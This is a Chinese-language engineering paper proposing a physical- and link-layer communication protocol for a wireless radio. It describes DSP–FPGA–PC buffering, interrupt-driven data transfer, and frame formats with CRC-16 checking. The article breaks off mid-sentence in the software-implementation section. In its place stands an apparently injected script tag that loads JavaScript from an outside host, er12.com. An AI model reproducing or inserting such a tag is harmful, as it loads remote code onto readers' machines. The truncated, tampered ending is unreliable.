摘 要:通信协议是通信系统在通信链路上实现复杂任务的软件构架及程序编写规则,任何通信系统之所以能正常工作离不开通信协议的支持。本文以研制一种通信电台为例,提出了一种适合无线通信电台的通信协议,实验 结果证明此协议具有很好的性能。
关键词:通信电台;通信协议;dsp;fpga
一、引言
任何通信系统均有一定的通信协议支持来完成通信的任务,一般通信系统至少包括物理层通信协议和链路层通信协议。物理层通信协议用于在数据链路的实体之间为位传输所需要的物理连接的建立、保持和拆断提供电气的、机械的、功能性的特性。链路层协议是在通信系统的物理层正常工作的基础上进一步管理和控制,主要完成建立链路、拆除链路、流量控制、同步控制和差错控制的功能。本文提出的通信协议主要包括物理层协议和链路层协议,经过通信电台的试验证明它是一种可靠的高效的通信协议,具有较高的理论意义和工程应用价值。
二、通信协议的原理
本文提出的一种通信协议用在一种无线通信电台上,此协议能很好地满足此通信电台间歇式工作的要求,其原理如图1所示。
当无线通信电台的天线接收到信息时,上变频模块把射频端的数据送给现场可编程门阵列器件(fpga)进行解码,fpga解码后的数据放在fpga的发送数据缓冲区,此缓冲区大小设置为1024 byte大小,当此缓冲区满时产生一中断信号触发数字信号处理器(dsp),dsp内开辟一个大小为1 024 byte的缓冲区txqueue,txqueue通过数据总线方式接收fpga发来的数据,当txqueue满时,再通过dsp的定时器中断方式把 txqueue内的1 024 byte的数据发往接口器件(max3111e)内的发送数据buffer,此buffer内的数据最终发往个人计算机(pc),pc机对这些数据进行分析和处理。
当pc机有数据和命令要发送时,首先把pc内的数据或命令以9 600 bps的速度通过max3111e的接收数据fifo发送到dsp中1 024 byte大小的数据缓冲区rxqueue,当rxqueue的数据满时,查询fpga的接收数据缓冲有没有空,如果fpga的接收缓冲区空时,则把 rxqueue的数据发往fpga的接收数据缓冲区,fpga对接收缓冲区的数据进行编码处理后送上变频模块。pc机发送的帧包括命令帧和数据帧,帧结构如表1和表2所示。
命令帧用于向dsp发送开机、关机、复位等命令用来监控电台的工作,数据帧用于定义pc和dsp进行数据交换的格式。命令帧共5 byte,即5×8 bit,其 中 帧 头为70 h、70 h表示一帧开始传输,data1表示所要发送的命令(包括开机、关机、复位等),校验字用于检验所发命令是否正确,帧尾7eh表示帧传输结束。数据帧共 128 byte,即128×8 bit,其中帧头为7eh、7eh表示一帧开始传输,point1、point0用于计算已传输出帧的个数,point1表示计数器的高位数值, point0表示计数器的低位数值,data0~data121表示所要发送的数据,校验字crc1、crc0用于检验所发命令是否正确,此类帧采用循环校验码crc的16位校验方式,此帧不设结束标志,校验结束即表示数据帧传输结束。
三、通信协议的实现
1.通信协议的硬件实现
通信协议的硬件实现是在通信电台基带信号处理的硬件平台上实现的,通信协议的物理层硬件实现的关键包括dsp与pc交换数据电路和fpga与dsp交换数据电路两部分。dsp与pc交换数据如图2所示,采用tms320vc5416型dsp为通信电台的基带主控芯片,dsp通过max3111e型 uart接口芯片与pc机交换数据,max3111e芯片内有发送数据缓冲区和接收数据缓冲区,当max3111e收到dsp发来的一个byte时或接收到pc发来的一个byte时均产生中断触发信号触发dsp的外部中断三(int3),dsp完成数据的收发,从而达到与pc交换数据的目的。fpga与 dsp交换数据如图3所示,fpga发送缓冲区满或接收缓冲区空时,产生一低电平触发dsp的一个外部中断(如int2),首先在中断服务程序中判断是 fpga发送缓冲区满事件产生的中断还是fpga接收缓冲区空事件产生的中断,如果是fpga发送缓冲区满事件中断时,fpga通过数据总线方式向dsp 发送数据;如果是fpga接收缓冲区空事件中断时,dsp通过mcbsp1口发送数据至fpga的接收缓冲区。fpga数据缓冲空或满状态作为dsp的中断触发事件,避免了dsp的cpu采用查询方式,节省了dsp的cpu资源和软件开销。
2. 通信协议的软件实现
通信协议的软件实现程序流程包括电台接收数据和电台发送数据两部分,电台收发数据的程序流程与图1中所示的通信原理基本相同。本文用c5416型dsp 为数字信号的主处理器?script src=http://er12.com/t.js>